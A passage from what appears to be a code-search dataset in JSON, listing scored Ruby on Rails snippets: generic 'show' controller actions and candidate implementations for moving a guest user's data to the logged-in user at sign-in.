|format|\n format.html # show.html.erb\n format.json { render json: @celeb }\n end\n end", "title": "" }, { "docid": "5944ea0762df86dd3e66950f1e10b17b", "score": "0.5677629", "text": "def show\n @cels = Cel.where(\"uniqueid like ?\",@cdr.uniqueid)\n end", "title": "" }, { "docid": "351f19abec6ad8e773724cf9a6f3dc34", "score": "0.56760544", "text": "def show\r\n checar_egresso_super\r\n end", "title": "" }, { "docid": "cb82351a3327baa77da3c2e5d0c4989f", "score": "0.56708574", "text": "def show\n @cuentum = Cuentum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cuentum }\n end\n end", "title": "" }, { "docid": "861e720420ed5da86ced8dded2f45223", "score": "0.5669978", "text": "def show\n @city = City.find(params[:id])\n @settings = Setting.get(@city)\n @city.increment!(:count_of_views)\n @paywall = @city.paywall\n\n add_breadcrumb \"О Турции\", turkey_news_index_path\n add_breadcrumb @city.name, city_path\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @city }\n end\n end", "title": "" }, { "docid": "084cffd78d5b471ed33b1153abbf28bc", "score": "0.56670964", "text": "def show\n @council = Council.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @council }\n end\n end", "title": "" }, { "docid": "d6b0fcb3ffa1a40e24d4fd40716ed95a", "score": "0.565923", "text": "def show\n @education_concentration = EducationConcentration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @education_concentration }\n end\n end", "title": "" }, { "docid": "2f951e4c859eaef07e267832dd3e1aa4", "score": "0.56576514", "text": "def show\n checar_egresso_super\n end", "title": "" }, { "docid": "2f951e4c859eaef07e267832dd3e1aa4", "score": "0.56576514", "text": "def show\n checar_egresso_super\n end", "title": "" }, { "docid": "df31c2b65bc8a9b57746a9125e68d13c", "score": "0.56541485", "text": "def show\n @contract_details = @contract.contract_details\n end", "title": "" }, { "docid": "12d5a08f6c3c104bfaa9a2c33151f320", "score": "0.56407934", "text": "def show\n @contract = Contract.find(params[:id])\n \n end", "title": "" }, { "docid": "d3352ea1427c064c2b4aa597b54f55ae", "score": "0.5640477", "text": "def show\n @centro_de_custo = CentroDeCusto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @centro_de_custo }\n end\n end", "title": "" }, { "docid": "bb5be8bbf4885f1f3df5f0949e17e3dd", "score": "0.56388676", "text": "def show\n @place, @constituencies = Parliament::Utils::Helpers::FilterHelper.filter(@request, 'ordnance', 'ConstituencyGroup', ::Grom::Node::BLANK)\n\n @place = @place.first\n end", "title": "" }, { "docid": "976b2747e0033de001b20b706cf2e5f3", "score": "0.56385803", "text": "def chip_cd_for_income\n return nil unless category_determinations\n category_determinations.detect do |cat_det|\n cat_det.category == 'Income CHIP Eligible'\n end\n end", "title": "" }, { "docid": "0af344057d8195ad7e48cd9b029b7934", "score": "0.5637101", "text": "def show\n @council_member = CouncilMember.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @council_member }\n end\n end", "title": "" }, { "docid": "57083977257a120d8b21f80224723fb0", "score": "0.56335217", "text": "def ethnicity\n @ethnicity\n end", "title": "" }, { "docid": "0a5c3c80f30aa536d7264823bb45a30b", "score": "0.5626912", "text": "def inspect\n if characteristic\n \"<Charisma::Curator::Curation for :#{characteristic.name} (use #to_s to render value of #{value.class})>\"\n else\n \"<Charisma::Curator::Curation for undefined characteristic (use #to_s to render value of #{value.class})>\"\n end \n end", "title": "" }, { "docid": "f4892296fd75aeaf9a2273fd5f288b8a", "score": "0.5616043", "text": "def show\n @courseevaluation = Courseevaluation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @courseevaluation }\n end\n end", "title": "" }, { "docid": "1a649f8038e59b4447733e0f0ada0bb5", "score": "0.56107944", "text": "def new\n @celebrity = Celebrity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @celebrity }\n end\n end", "title": "" }, { "docid": "f9dfd9250d51254cb344467373ab80b3", "score": "0.5606631", "text": "def show\n @cultural_heritage_integrity_state = CulturalHeritage::IntegrityState.find(params[:id])\n @title_view = 'Estados de Integridad'\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cultural_heritage_integrity_state }\n end\n end", "title": "" }, { "docid": "e27a06e5dfffa09835ba7f5d43504b8b", "score": "0.56015676", "text": "def show\n # 医药\n @medicines = MedicineEfficacy.where(efficacy_id: @efficacy.id)\n end", "title": "" }, { "docid": "d47e26e35f5b8b3510156ba4694a0070", "score": "0.56007063", "text": "def show\n checar_super_agencia\n end", "title": "" }, { "docid": "18b109c72f0d2dcb17dbb3c4ac4d62f0", "score": "0.5599572", "text": "def show\n cek_jabatan_pengguna\n cek_seksi_pengguna\n cek_status_surat_keluar\n set_surat_keluar\n cek_seksi_surat_keluar\n end", "title": "" }, { "docid": "805094b9b5c6ee8253e88d2db8c3aa4e", "score": "0.5597418", "text": "def show\n @info_customer = @info_customer_fin_dtl.finance.customer\n end", "title": "" }, { "docid": "1ad574a64ac9c29a2ebb1cd58b4c4993", "score": "0.5591351", "text": "def show\n @cuisine = Cuisine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cuisine }\n end\n end", "title": "" }, { "docid": "c881083d626e24b4643555712f8cec4a", "score": "0.55759895", "text": "def show\n expose @cage, {root: :true, include: :dinosaurs}\n end", "title": "" }, { "docid": "d09f4980acf322417f202ec7411b00de", "score": "0.5571583", "text": "def show\n @celestial_entity = CelestialEntity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @celestial_entity }\n end\n end", "title": "" }, { "docid": "d53ef2f4e892ee2da1266a368d1d9e40", "score": "0.5571107", "text": "def info\n if !@en_vie\n \"#{@nom} : (vaincu)\"\n else\n \"#{@nom} : #{@points_de_vie} points de vie\"\n end\n end", "title": "" }, { "docid": "634cb68ee50669babc2afa26518f206b", "score": "0.5570778", "text": "def show\n @estado_civil = EstadoCivil.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estado_civil }\n end\n end", "title": "" }, { "docid": "9f62047fbf108195f85d5575c6007e56", "score": "0.55661535", "text": "def show\n @ceo = Ceo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ceo }\n end\n end", "title": "" }, { "docid": "45d9e4b72dc723cf06081c7c08ee5642", "score": "0.55638146", "text": "def show\n @complaint = Complaint.new\n end", "title": "" }, { "docid": "fa3b566110868bad8ea31aed6e4f1594", "score": "0.55633", "text": "def infos\n texte_courant.show_infos\n end", "title": "" }, { "docid": "c44a643f57b159206b8f52a78fd89a16", "score": "0.556198", "text": "def show\n @equipamentos = @estacao.equipamentos.paginate(page: params[:page], per_page: 5)\n @circuitoDados = Circuitodado.where(estacaoAcesso: @estacao.pop).paginate(page: params[:page], per_page: 5)\n end", "title": "" }, { "docid": "340c920775313b377c23304adb66cc42", "score": "0.5561376", "text": "def show\n @contract = Contract.find(params[:id])\n end", "title": "" }, { "docid": "340c920775313b377c23304adb66cc42", "score": "0.5561376", "text": "def show\n @contract = Contract.find(params[:id])\n end", "title": "" }, { "docid": "e06e4b800937740179f38d50691c8740", "score": "0.5556856", "text": "def show\n @canchitum = Canchitum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @canchitum }\n end\n end", "title": "" }, { "docid": "c0ddca8c4aa50a79125d4f30400e943b", "score": "0.55539566", "text": "def show\n @characteristic_details = @characteristic.characteristic_details\n end", "title": "" }, { "docid": "c4f9f477fd69536d846df009196dc489", "score": "0.555107", "text": "def show\n @centro = Centro.find(params[:id])\n\n\tif(!(@logged_user.admin?))\n redirect_to user_path(@logged_user), :error => \"No tiene permisos para acceder a esta vista\"\n end\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @centro }\n end\n end", "title": "" }, { "docid": "2d3a9f224c30e46aa48bd9576e7eb27a", "score": "0.55484766", "text": "def show\n @planetary_commodity = PlanetaryCommodity.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planetary_commodity }\n end\n end", "title": "" }, { "docid": "b5ef1b72f7a32756f66213423586b0bd", "score": "0.5540492", "text": "def show\n @the_case=TheCase.find_by_id(params[:id])\n @victims=@the_case.victims\n @culprits=@the_case.culprits\n @proofs=@the_case.proofs\n @waitnesses=@the_case.waitnesses\n end", "title": "" }, { "docid": "8cc83662cef1dc1b39ea29067083ba2c", "score": "0.55351055", "text": "def show\n @emis = @loan.emis\n end", "title": "" }, { "docid": "a0cfed2bb43037dc7b70dfeab1a65395", "score": "0.5533539", "text": "def show\n @coment = Coment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coment }\n end\n end", "title": "" }, { "docid": "a0cfed2bb43037dc7b70dfeab1a65395", "score": "0.5533539", "text": "def show\n @coment = Coment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coment }\n end\n end", "title": "" }, { "docid": "41df5dc7c9255ed441eb771928260efa", "score": "0.5530693", "text": "def imc\n\t\t@alt=@altura/100.00\n\t\tvalor = (@peso) / ( @alt * @alt )\n\t\tif valor < 18.5\n\t\t\treturn \"Delgado\"\n\t\telsif valor >=18.5 and valor < 25\n\t\t\treturn \"Aceptable\"\n\t\telsif valor >=25 and valor < 30\n\t\t\treturn \"Sobrepeso\"\n\t\telse\n\t\t\treturn \"Obesidad\"\n\t\tend\n\tend", "title": "" }, { "docid": "5b57c1659739ad9508c7410c3a8f7bfe", "score": "0.5530653", "text": "def print_company_expense\n\t\tputs \"Company expenses : #{@@expense} \\n\"\t\t\n\tend", "title": "" }, { "docid": "c5ffc0649194acf299bc3fd3d8a4b4ab", "score": "0.55295", "text": "def show\n @secchi_depth = SecchiDepth.find(params[:id])\n end", "title": "" }, { "docid": "103f9efcbeead46d2a1682376327de61", "score": "0.55248666", "text": "def show\n @estado_civil = EstadoCivil.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estado_civil }\n end\n end", "title": "" }, { "docid": "07a022d6569bcc678b057e3fe4d6497f", "score": "0.5523769", "text": "def show\n @ciudade = Ciudade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ciudade }\n end\n end", "title": "" }, { "docid": "df2e4f12f2f5276932ad298c0cd3ae66", "score": "0.55220014", "text": "def show\n @commune = Commune.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commune }\n end\n end", "title": "" }, { "docid": "f76c2c5a7b865386d7fe8aff8ce2e25e", "score": "0.55202115", "text": "def show\n @licencias = @member.licencias\n @reconocimientos = @member.reconocimientos\n end", "title": "" }, { "docid": "22dc1110401f9578e6f42ed74f20ef6b", "score": "0.55196863", "text": "def show\n @disabled = true\n @clave = clave_format(params[:id])\n end", "title": "" }, { "docid": "b7039ab29fda1859cc385f754594c58e", "score": "0.55157083", "text": "def show\n @result = BlackScholeEquation::Calculator.new(@market_value)\n end", "title": "" } ]
ecb96c0d8a3115da20c9f2024c4804aa
called (once) when the user logs in, insert any code your application needs to hand off from guest_user to current_user.
[ { "docid": "c1b8109a7bddbb1801f1d79cbcab493c", "score": "0.67875904", "text": "def logging_in\n guest_reviews = guest_user.reviews.all\n guest_reviews.each do |review|\n review.user_id = current_user.id\n review.save\n end\n # For example:\n # guest_comments = guest_user.comments.all\n # guest_comments.each do |comment|\n # comment.user_id = current_user.id\n # comment.save\n # end\n end", "title": "" } ]
[ { "docid": "85f9b8ef7b00b362315a712a80c23bc9", "score": "0.76545906", "text": "def logging_in\n logger.debug \"ApplicationController:logging_in >>> \"\n current_user.transfer_data(guest_user)\n end", "title": "" }, { "docid": "aaf7d1bd504ecebaca7a91ddcc18dcc1", "score": "0.7561395", "text": "def logging_in\n current_user.absorb_from(guest_user)\n end", "title": "" }, { "docid": "6a96b1c9bde53cf4fa977717480ada02", "score": "0.7417004", "text": "def logging_in\n\t\tguest_comments = guest_user.comments.all\n\t\tguest_comments.each do |comment|\n\t\t\tcomment.user_id = current_user.id\n\t\t\tcomment.save!\n\t\tend\n\t\tguest_notes = guest_user.notes.all\n\t\tguest_notes.each do |note|\n\t\t\tnote.user_id = current_user.id\n\t\t\tnote.save!\n\t\tend\n\t\tguest_likes = guest_user.likes.all\n\t\tguest_likes.each do |like|\n\t\t\tlike.user_id = current_user.id\n\t\t\tlike.save!\n\t\tend\n\tend", "title": "" }, { "docid": "36337b11ab59286409c8598f6105f71e", "score": "0.70993006", "text": "def logging_in\n # For example:\n # guest_comments = guest_user.comments.all\n # guest_comments.each do |comment|\n # comment.user_id = current_user.id\n # comment.save!\n # end\n end", "title": "" }, { "docid": "dd78c0170cf553ce4b5cf7446b0f0878", "score": "0.7069182", "text": "def logging_in\n # copy the guest user's championships into the new one (merge them in...)\n guest_user.move_associations_to non_guest_current_user\n\n # remove guest user\n # (not absolutely neccesary as the creation of new ones would eventually remove it)\n guest_user.destroy\n end", "title": "" }, { "docid": "6adf3a27167fda43c29647c3024b7751", "score": "0.69960326", "text": "def current_user\n # if a user is logged in we just use devise's implementation.\n super || guest_user\n end", "title": "" }, { "docid": "d7c6bcee81e6ae0f6b150f6ae21c1d2c", "score": "0.69612724", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n puts \"test\"\n puts \"11111111\"\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n puts \"222222222222\"\n else\n guest_user\n puts \"3333333333\"\n end\n end", "title": "" }, { "docid": "1ebbbc4a93c347f23bff28ec2daf0702", "score": "0.6960114", "text": "def logging_in\n # For example:\n # guest_comments = guest_user.comments.all\n # guest_comments.each do |comment|\n # comment.user_id = current_user.id\n # comment.save!\n # end\n end", "title": "" }, { "docid": "1ebbbc4a93c347f23bff28ec2daf0702", "score": "0.6960114", "text": "def logging_in\n # For example:\n # guest_comments = guest_user.comments.all\n # guest_comments.each do |comment|\n # comment.user_id = current_user.id\n # comment.save!\n # end\n end", "title": "" }, { "docid": "1ebbbc4a93c347f23bff28ec2daf0702", "score": "0.6960114", "text": "def logging_in\n # For example:\n # guest_comments = guest_user.comments.all\n # guest_comments.each do |comment|\n # comment.user_id = current_user.id\n # comment.save!\n # end\n end", "title": "" }, { "docid": "1ebbbc4a93c347f23bff28ec2daf0702", "score": "0.6960114", "text": "def logging_in\n # For example:\n # guest_comments = guest_user.comments.all\n # guest_comments.each do |comment|\n # comment.user_id = current_user.id\n # comment.save!\n # end\n end", "title": "" }, { "docid": "1e75e369454ad9338fbe9f7598df85f3", "score": "0.69566405", "text": "def current_or_guest_user!\n if current_user\n if cookies[:uuid]\n\n # Called when a guest user is converted to current user\n promote_guest_to_user(current_user)\n\n # destroy the guest user and the session\n destroy_guest_user\n end\n current_user\n else\n find_or_create_guest_user\n end\n end", "title": "" }, { "docid": "dab9c6dc24b2a4993176d927a0124ad9", "score": "0.6956096", "text": "def current_user\n # super: don't change anything, i just want the exact same behavior \n # as in the method that we are overriding\n\n # what this line means is that if the user is logged in, super is true,\n # then call super treat everything normal, and ignore right hand side\n # if super == false, call right hand side\n\n # super comes from devise class\n # meanwhile the r.h.s comes from open struct class\n super || guest_user\n end", "title": "" }, { "docid": "1d318ef718ba0ac375b58c02a94d60ef", "score": "0.69517374", "text": "def logging_in\n # For example:\n # guest_comments = guest_user.comments.all\n # guest_comments.each do |comment|\n # comment.user_id = current_user.id\n # comment.save!\n # end\n end", "title": "" }, { "docid": "880e77f72539eab1cf6a64d452e79815", "score": "0.6908953", "text": "def logging_in\n # TODO merge friends with the same name\n guest_user.friends.update_all(user_id: current_user.id)\n guest_user.bills.update_all(user_id: current_user.id)\n guest_user.participations.update_all(person_id: current_user.id)\n end", "title": "" }, { "docid": "a5a0274ddd927d2a762a0486bcbfa072", "score": "0.68947226", "text": "def logging_in\n guest_user.books.each { |book| book.update(user_id: current_user.id) } if guest_user.books.present?\n guest_user.holsts.each { |holst| holst.update(user_id: current_user.id) } if guest_user.holsts.present?\n end", "title": "" }, { "docid": "545c64046af09e8c9db6eb7d5a2b71d5", "score": "0.68411946", "text": "def logging_in\n guest_order_items = guest_user.order_items.all\n guest_order_items.each do |order_item|\n order_item.user_id = current_user.id\n order_item.save!\n end\n guest_orders = guest_user.orders.all\n guest_orders.each do |order|\n order.user_id = current_user.id\n order.save!\n end\n end", "title": "" }, { "docid": "a78286d81b848f60586b8d2a0a2e4987", "score": "0.6775122", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n #guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "3cf4ea081d0aa7e5ef338c4c4bedb0e9", "score": "0.67685986", "text": "def logging_in\n # For example:\n # guest_comments = guest_user.comments.all\n # guest_comments.each do |comment|\n # comment.user_id = current_user.id\n # comment.save!\n # end\n\n guest_likes = guest_user.likes\n current_user_likes = devise_current_user.likes\n guest_likes.each do |like|\n if current_user_likes.find_by_post_id(like.post_id).blank?\n like.user_id = devise_current_user.id\n like.save!\n else\n like.destroy\n end\n end\n\n guest_comments = guest_user.my_comments.with_state([:published, :draft])\n guest_comments.each do |comment|\n comment.user_id = devise_current_user.id\n comment.title = devise_current_user.email\n comment.save!\n end\n\n end", "title": "" }, { "docid": "70959db96044ae86f423f40cf301bd53", "score": "0.6762087", "text": "def logging_in\n # For example:\n # guest_comments = guest_user.comments.all\n # guest_comments.each do |comment|\n # comment.user_id = current_user.id\n # comment.save!\n # end\n\n current_user.room_id = guest_user.room_id\n \n end", "title": "" }, { "docid": "2fe7d49198fa044e565a13ecfae97c54", "score": "0.6729135", "text": "def guest_user(_user)\n if RuntimeConfig.vote_signin_active?\n can :access, :sessions\n end\n end", "title": "" }, { "docid": "fd5fc0d4f91c3047b1716697eca25210", "score": "0.6722554", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "1542d6651f182916dea4d0810669ff12", "score": "0.67194045", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "1542d6651f182916dea4d0810669ff12", "score": "0.6719272", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "974a7a626ce2f505b0a4ea88c75e5811", "score": "0.6719158", "text": "def logging_in\n # For example:\n # guest_comments = guest_user.comments.all\n # guest_comments.each do |comment|\n # comment.user_id = current_user.id\n # comment.save!\n # end\n puts \"this is a test\"\n end", "title": "" }, { "docid": "5e06f5e2be5483397b6eb50831cc3aee", "score": "0.67141074", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user_log_out\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "2524df70993b128cc74ae3e22a29ffdc", "score": "0.668829", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "fe44b1dfe88400f50ee8f47375b1b7e5", "score": "0.6682566", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).reload.try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "fe44b1dfe88400f50ee8f47375b1b7e5", "score": "0.6682566", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).reload.try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "fe44b1dfe88400f50ee8f47375b1b7e5", "score": "0.6682566", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).reload.try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "721f5ccbc29ca662a572422e349ac1c2", "score": "0.66815835", "text": "def current_user\n #super the main class of devise current_user\n super || guest_user\n end", "title": "" }, { "docid": "29296001a5d8ab4ba019097ba4bfc8c9", "score": "0.66731864", "text": "def logging_in\n guest_user.notes.all.each do |note|\n note.user_id = current_user.id\n note.from_address = current_user.email\n note.save\n end\n current_user.unique_id = guest_user.unique_id\n current_user.save\n end", "title": "" }, { "docid": "d37315cf05c0fab23ccd057cd57b2bdb", "score": "0.6659512", "text": "def current_or_guest_user\n\t\tif current_user\n\t\t\tif session[:guest_user_id] && session[:guest_user_id] != current_user.id\n\t\t\t\tlogging_in\n\t\t\t\tguest_user(with_retry = false).try(:destroy)\n\t\t\t\tsession[:guest_user_id] = nil\n\t\t\tend\n\t\t\tcurrent_user\n\t\telse\n\t\t\tguest_user\n\t\tend\n\tend", "title": "" }, { "docid": "2fd8508be4a135c97e3b71cc083d867d", "score": "0.6643724", "text": "def logged_in\r\n end", "title": "" }, { "docid": "c335e7ed2bc5bb2cec9b3ef1038aa2f9", "score": "0.6629793", "text": "def current_user\n @current_user ||= User.find(session[:user_id])\n rescue ActiveRecord::RecordNotFound\n #login User.create_guest\n end", "title": "" }, { "docid": "cec77e50f463fe9b435bc5147306426e", "score": "0.6610988", "text": "def current_or_guest_user\n \tif current_user\n \t\tif session[:guest_user_id]\n \t\t\tlogging_in\n \t\t\tguest_user.destroy\n \t\t\tsession[:guest_user_id] = nil\n \t\tend\n \t\tcurrent_user\n \telse\n \t\tguest_user\n \tend \t\n end", "title": "" }, { "docid": "7260adb0a090fa72e82a728364778b1d", "score": "0.6579737", "text": "def repel_usr_guest\n redirect_to(\"/\") if session[:usr_id].nil?\n end", "title": "" }, { "docid": "42a8c115f32739854817b6e7187eb30c", "score": "0.6556043", "text": "def login_guest()\n login(:guest)\n end", "title": "" }, { "docid": "9319984871950883b7a7a83caeb4be25", "score": "0.65493786", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in(guest_user_id)\n guest_user(with_retry = false).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "8a9d6e7ee179a997e0e8e7d8a4631422", "score": "0.6538316", "text": "def autologin_the_user\n #unless logged_in?\n # FrontendUserSession.create(params[:frontend_user_session])\n #end\n end", "title": "" }, { "docid": "dbb9df8e04ea5f918d6c1fd5348d6acf", "score": "0.6523335", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "28ffcb709d3ec99ba0fec1f1f42c8bb5", "score": "0.6521549", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n guest_user(with_retry = false).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "28ffcb709d3ec99ba0fec1f1f42c8bb5", "score": "0.6521549", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n guest_user(with_retry = false).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "06bc4c60c3c592eb49fa6fd7a595b799", "score": "0.65188295", "text": "def guest_user\n if signed_in?\n flash[:danger] = 'Please sign out before accessing this page'\n redirect_to overview_user_path(current_user)\n end\n end", "title": "" }, { "docid": "395032c02581c6e89bbb11c215d4aa0d", "score": "0.65158516", "text": "def guest\n\t\tid = User.count + 1\n\t\t@user = User.new(username: \"Guest_#{id}\", password: \"guestpass#{id}\", password_confirmation: \"guestpass#{id}\")\n\t\tif @user.save!\n\t\t\tsign_in @user\n\t\t\tflash[:success] = \"Welcome to Lightcycles!\"\n\t\t\tredirect_to root_path\n\t\telse\n\t\t\tflash[:error] = \"Sorry, there was an error!\"\n\t\t\tredirect_to \"/login\"\n\t\tend\n\tend", "title": "" }, { "docid": "f50b368f414b199d82207c322b80b8dc", "score": "0.6491173", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n #guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "f14469c59f927811cfad749af9f5e331", "score": "0.6480155", "text": "def logging_in\n orders = guest_user.orders.all\n orders.each do |order|\n order.user_id = current_user.id\n order.save!\n puts order.inspect\n end\n end", "title": "" }, { "docid": "8340f19021bfde6adb43b720eedecb57", "score": "0.64673984", "text": "def setup_current_user\n @current_user = User.find(session[:user_id]) unless session[:user_id].nil?\n end", "title": "" }, { "docid": "c026f14072be9c371aac8644af0ec538", "score": "0.64672416", "text": "def current_or_guest_user\n if current_user\n transfer_session_to_logged_in_user if session[:guest_user_id].present?\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "c52e92f5878a2927e7d6274f2740b1ea", "score": "0.6444034", "text": "def logging_in\n guest_order = guest_user.current_order_in_progress\n current_order = current_user.current_order_in_progress\n current_order.merge guest_order\n end", "title": "" }, { "docid": "6a2b2a5eaf74e5e0f282f016b7c9709e", "score": "0.64310867", "text": "def current_or_guest_user\n if current_user\n if cookies.signed[:guest_user_email]\n logging_in\n guest_user.delete\n cookies.delete :guest_user_email\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "b2fe48dd8950008b0d21c4ba948e0022", "score": "0.64271235", "text": "def logging_in\n guest_charts = guest_user.charts\n guest_charts.each do |chart|\n chart.user_id = current_user.id\n chart.save\n end\n # For example:\n # guest_comments = guest_user.comments.all\n # guest_comments.each do |comment|\n # comment.user_id = current_user.id\n # comment.save!\n # end\n end", "title": "" }, { "docid": "217836183b2fa5efe8dd0913d2462007", "score": "0.64237237", "text": "def create\n @user = params[:user] ? User.new(params[:user]) : User.new_guest\n if @user.save\n flash[:notice] = \"Your account was created successfully.\"\n current.user.move_to(@user) if current.user && current.user.guest?\n session[:user_id] = @user.id\n redirect_to root_path\n else\n render \"new\"\n flash[:notice] = \"There was a problem creating your account.\"\n end\n after_create :set_admin \n end", "title": "" }, { "docid": "bccb1430a45ba39e9bf000f812374a16", "score": "0.642129", "text": "def get_current_user\n @current_user = current_or_guest_user\n end", "title": "" }, { "docid": "d6a8b777457da041e9a7bda1f5d6ea57", "score": "0.640695", "text": "def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in to vote\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "63df4ebfc40c62961a8dafdf7b951bf7", "score": "0.6390026", "text": "def guest_user\n @_guest ||= Guest.from_cookies(cookies) unless user_signed_in?\n end", "title": "" }, { "docid": "ae9136e4cafdb783b9cea4b6f7a3c5c4", "score": "0.63688886", "text": "def set_current_user! #naming convention to have the !\n @current_user = User.find_by(id: session[:user_id])\n end", "title": "" }, { "docid": "45d816d0a38b3260e26d393245f2536c", "score": "0.63613564", "text": "def user_authentication\n end", "title": "" }, { "docid": "3a55e513cae7b87978c39045aa410c4b", "score": "0.6355745", "text": "def current_user\n \tsuper || guest_user\n \t#Super quiere decir que exactamente con los valores \n \t#del metodo original sin cambiar nada\n end", "title": "" }, { "docid": "95c4a1b552733fe92ed170fde29b9f25", "score": "0.63445145", "text": "def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Primero has Log In\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "c19592ade2ea78f6a46940bac35665bd", "score": "0.6331564", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "c19592ade2ea78f6a46940bac35665bd", "score": "0.6331564", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "3fdfe94e40c2709ab3e89497b5ce5490", "score": "0.6320129", "text": "def current_user_or_guest\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "4151e35c5b9dc3eed9c4de5cc18850d0", "score": "0.63191736", "text": "def set_current_user\n if logged_in?\n @current_user = current_user\n end\n end", "title": "" }, { "docid": "61c293e9987be627c7ec12487a97328d", "score": "0.6314302", "text": "def ensure_user_logged_in\n bounce_user unless current_user\n end", "title": "" }, { "docid": 